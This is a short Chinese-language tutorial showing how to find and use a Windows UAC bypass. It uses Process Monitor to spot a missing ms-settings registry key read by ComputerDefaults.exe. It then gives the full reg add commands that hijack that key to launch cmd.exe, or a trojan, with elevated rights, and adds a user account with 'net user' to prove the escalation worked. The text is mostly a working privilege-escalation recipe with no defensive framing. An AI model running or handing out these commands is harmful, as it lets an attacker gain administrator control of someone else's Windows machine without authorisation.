- Process Monitor是一款由Microsoft Sysinternals出品的、功能强大的高级系统实时监视工具,它能够深度捕获并记录系统中所有进程的文件系统、注册表、进程与线程活动。通过整合并实时呈现系统调用栈的详细信息,该工具为IT专业人员和安全研究员提供了无与伦比的系统内部行为洞察力,使其成为诊断复杂系统故障、排查软件兼容性问题以及进行恶意软件分析与威胁狩猎的核心利器。分析师可以利用它精确定位应用程序因权限或路径问题导致的失败,揭示恶意软件的持久化机制、数据窃取行为和隐蔽通信,从而快速锁定问题根源或理解软件的真实意图。因此,Process Monitor不仅是保障系统稳定性的“瑞士军刀”,更是进行深度安全分析和行为审计不可或缺的专业工具。
- 先打开Monitor程序监控软件,接着在终端中运行目标程序(ComputerDefaults/设置),然后监控注册表和文件的变化,找到可以利用的漏洞。
ComputerDefaults.exe
- 过滤设置,选择windows设置程序。
- 在软件中使用ctrl+F搜索command的注册表,并且是NAME NOT FIND,代表执行注册表中的命令,但是没有发现这个命令。
- 修改注册表中命令将其修改为木马程序即可实现提权,在终端使用普通管理员,执行以下命令
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "C:\windows\system32\cmd.exe" /f reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f
- 再次在终端执行
ComputerDefaults.exe
,即可打开终端,此时终端中用户具有最高管理员权限。如果执行添加用户命令成功,即可说明提权成功。net user yuan yuan@2025 /add